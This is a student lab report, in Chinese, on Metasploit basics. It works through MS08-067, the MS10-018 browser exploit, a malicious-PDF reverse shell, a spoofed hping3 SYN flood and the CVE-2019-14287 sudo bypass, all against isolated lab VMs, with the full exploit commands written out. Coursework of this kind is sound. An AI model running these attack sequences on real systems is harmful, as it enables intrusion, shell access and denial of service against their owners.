《网络对抗技术》Exp6 MSF应用基础

Exp6 MSF应用基础

一、问题回答

Ⅰ.基础知识

  • Exploit模块

    • 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
    • 形象点来说就是攻击模块
  • Payload模块

    是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。

    • 三种 payload:/usr/share/metasploit-framework/modules/payloads/
      • Single:all-in-one
      • Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
      • Stages:利用 stager 建立的连接下载的后续payload
  • Encoder模块

    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
    • 不改变payload作用,但能对payload进行加工
  • Aux模块

    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
    • 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
  • Post模块

    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
    • 这里主要指的是攻击之后可能用到的模块
  • Nops模块

    • 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
    • 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置

Ⅱ.msf核心命令

  banner            显示一个很棒的metasploit横幅
  cd                更改当前工作目录
  color             切换颜色
  connect           与主机通信
  exit              退出控制台
  get               获取特定于上下文的变量的值
  getg              获取全局变量的值
  grep              管道另一个命令的输出
  help              帮助菜单
  history           显示命令历史记录
  load              加载框架插件
  quit              退出控制台
  repeat            重复命令列表
  route             通过会话路由流量
  save              保存活动数据存储
  sessions          转储会话列表并显示有关会话的信息
  set               将特定于上下文的变量设置为值
  setg              将全局变量设置为值
  sleep             在指定的秒数内不执行任何操作
  spool             将控制台输出写入文件以及屏幕
  threads           查看和操作后台线程
  unload            卸载框架插件
  unset             取消设置一个或多个特定于上下文的变量
  unsetg            取消设置一个或多个全局变量
  version           显示框架和控制台库版本号

Ⅲ.其他知识

  • 查看六种模块源码目录/usr/share/metasploit-framework/modules
  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name:使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

二、主动攻击实践

Ⅰ. ms08_067+shell_reverse_tcp

系统 ip
靶机 win server 2000 with SP4 192.168.31.58
攻击机 kali2021.1 192.168.31.28

Ⅱ.虚拟机配置

H6TWQ-TQQM8-HXJYG-D69F7-R84VM

其他的步骤都直接下一步就行

image-20210427162453991

图1

按不了Ctrl-Alt-Del,可以直接通过virtualbox上的热键来实现

win+R:regdit

通过netstat -an查看到445端口(好像没啥用)

image-20210427165148668

图2

通过nmap -p 445 192.168.31.58也可以

image-20210427173550139

图3

Ⅲ.相互ping通

image-20210427163750273

图4

Ⅳ.开始攻击

use exploit/windows/smb/ms08c_067_netapi
set payload generic/shell_reverse_tcp
set LHOST 192.168.31.28
set LPORT 11204
set RHOST 192.168.31.58
set target 0
exploit

image-20210427174304845

图5

Ⅴ.445端口未打开

通过在注册表HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Services \ NetBT \ Parameters位置新建DWORDSMBDeviceEnabled参数值为1并重启解决(设置成``SMBDevice`也可以)

完成设置后记得重启

三、针对浏览器的攻击

Ⅰ.ms10_018+bind_tcp

系统 ip
靶机 winXP Professional with SP3 192.168.31.13
攻击机 kali2021.1 192.168.31.28

Ⅱ.相互ping通

image-20210427184409110

图6

Ⅲ.攻击

记得先关掉防火墙

use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.31.13
set target 0
exploit

image-20210427185109083

图7

重新exploit一次,上一个好像超时了

image-20210427185547140

图8
http://192.168.31.28:8080/5orBYKJ35m

将这个IP在靶机(XP)中打开

sessions -l
session -i (出现的会话ID)
getuid

image-20210427185805325

图9

四、针对客户端的攻击

Ⅰ.相互ping通

XP不知道为什么崩掉了,增强功能直接没了,所以恢复了一下快照,IP地址发生了一点点变化

系统 ip
靶机 winXP Professional with SP3 192.168.31.31
攻击机 kali2021.1 192.168.31.28

[Adobe Reader历史版本安装包下载_counsellor的专栏-CSDN博客](https://blog.csdn.net/counsellor/article/details/84774181?ops_request_misc=&request_id=&biz_id=102&utm_term=adobe reader 9.3&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-2-84774181.pc_search_result_before_js)Adobe9.3.4或者9.3可以参考这篇博客,或者下载Adobe9.3.4链接,提取码:NMSL

image-20210427203457461

图10

Ⅱ.在kali中产生攻击文件20181204.pdf

use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.28
set LPORT 11204
set FILENAME 20181204.pdf
set target 0
exploit

image-20210427204037721

图11

根据提示到对应目录找到文件,记得sudo或者切换为root用户

cd /root/.msf4/local       
mv 20181204.pdf /mnt

.msf4是隐藏文件,好像不能显示打开

image-20210427193621344

图12

光速被删除,要先关掉windowsdefender,再把文件放到winXP中

Ⅲ.攻击

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.28
set LPORT 11204
exploit

同时在XP中打开PDF即可成功反弹连接

image-20210427204229727

图13

五、应用一个辅助模块

Ⅰ.相互ping通

系统 ip
靶机 winXP Professional with SP3 192.168.31.31
攻击机 kali2021.1 192.168.31.28

相同的机器就不演示了

Ⅱ.未受攻击的CPU状态

普通状态下的CPU使用率

image-20210427205757938

图14

Ⅲ.攻击

hping3 -q -n -a 1.2.0.4 -S -s 1204 --keep -p 445 --flood 192.168.31.31

1.2.0.4是伪造的源IP,1204是伪造的源端口,445是攻击通过的端口,192.168.31.31是目的IP

image-20210427205722567

图15

使用这种攻击攻击靶机的80端口,虽然CPU负载达到了100%,但是并不影响靶机的http访问(不太懂为什么)

六、CVE-2019-14287(唯一)

在Sudo 1.8.28之前的版本中,有权访问Runas ALL sudoer帐户的攻击者可以绕过某些策略黑名单和会话PAM模块,并且可以通过使用特制的用户ID调用Sudo来导致不正确的日志记录。例如,这允许绕过:“sudo-u#$((0xffffffff))”命令。

Ⅰ.安装docker

sudo apt-get install docker.io

Ⅱ.创建攻击环境

1.创建并连接靶机

systemctl start docker       //创建环境
docker search CVE-2019-1428
docker pull cmnatic/cve-2019-14287-demo
sudo docker run -itd  cmnatic/cve-2019-14287-demo /bin/bash
docker ps -a
sudo docker attach 462b093ae4fc

image-20210428141316216

图16

2.改善环境

apt-get update
apt-get install vim

image-20210428141741190

图17

Ⅲ.攻击漏洞

1.创建新用户test

useradd test
passwd test

image-20210428142000348

图18

2.修改sudo配置文件

chmod +w /etc/sudoers
vim /etc/sudoers
chmod -w /etc/sudoers

image-20210428142256131

图19

3.测试漏洞

su test
cat /etc/sudoers
sudo -u#-1 cat /etc/sudoers

image-20210428143009101

图20

4.关闭环境

先停止再删除

docker stop $(docker ps -q)
docker rm $(docker ps -aq)

image-20210428143335862

图21

七、问题回答

  • exploit:测试者利用系统、程序或服务的漏洞进行攻击的一个过程(开启监听?)。

  • payload:攻击者在目标系统上执行的一段攻击代码。

  • encode:为了减少或者避免使攻击载荷不能完整运行的“坏字符”和改变特征码,帮助攻击载荷避免被杀软发现。

    离实战还欠缺一些基础知识,攻击漏洞的时候总是在一些奇怪的环节上卡住,需要进一步增强基础知识的学习

实践总结与体会

通过本次实验我对漏洞的发现、攻击、防范有了更深的理解,对不同的虚拟机安装有了更深的理解,会使用docker来简化安装配置环境的过程,学会了从网上搜集漏洞并学习网站,可以通过别人的博客学习,可以通过阅读帮助文档学习。

原文地址:https://www.cnblogs.com/wqnmlkb/p/14714021.html